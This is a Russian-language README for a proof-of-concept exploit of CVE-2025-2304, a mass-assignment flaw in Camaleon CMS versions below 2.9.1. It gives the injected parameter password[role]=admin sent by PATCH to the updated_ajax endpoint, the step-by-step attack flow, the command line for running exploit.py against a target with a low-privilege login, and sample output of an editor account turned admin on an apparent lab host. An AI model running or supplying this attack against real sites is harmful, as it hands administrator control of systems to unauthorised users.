CVE-2025-2304 — Повышение привилегий через массовое присваивание в Camaleon CMS (PoC)

Уязвимость повышения привилегий в Camaleon CMS < 2.9.1. Конечная точка updated_ajax в UsersController вызывает params.require(:password).permit! без фильтрации, что позволяет массово присваивать любые параметры. Аутентифицированный пользователь с низкими привилегиями может повысить свои права до администратора, внедрив password[role]=admin вместе с запросом на смену пароля.

Как это работает

1. Выполняет вход с предоставленными учётными данными для получения действительной сессии.
2. Получает идентификатор и роль текущего пользователя со страницы профиля.
3. Отправляет PATCH-запрос на /admin/users/<id>/updated_ajax с внедрённым password[role]=admin в параметры пароля.
4. Проверяет, что роль обновлена до admin.

Требования

• Python 3
• Установите зависимости:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Использование

python3 exploit.py http://TARGET -u USER -p PASS

Пример:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

Ссылки

• CVE-2025-2304
• Консультация Tenable Research
• Релиз Camaleon CMS 2.9.1 (исправление)

Благодарности

• Обнаружение: Tenable Research
• Очистка и упрощение: Esteban Zárate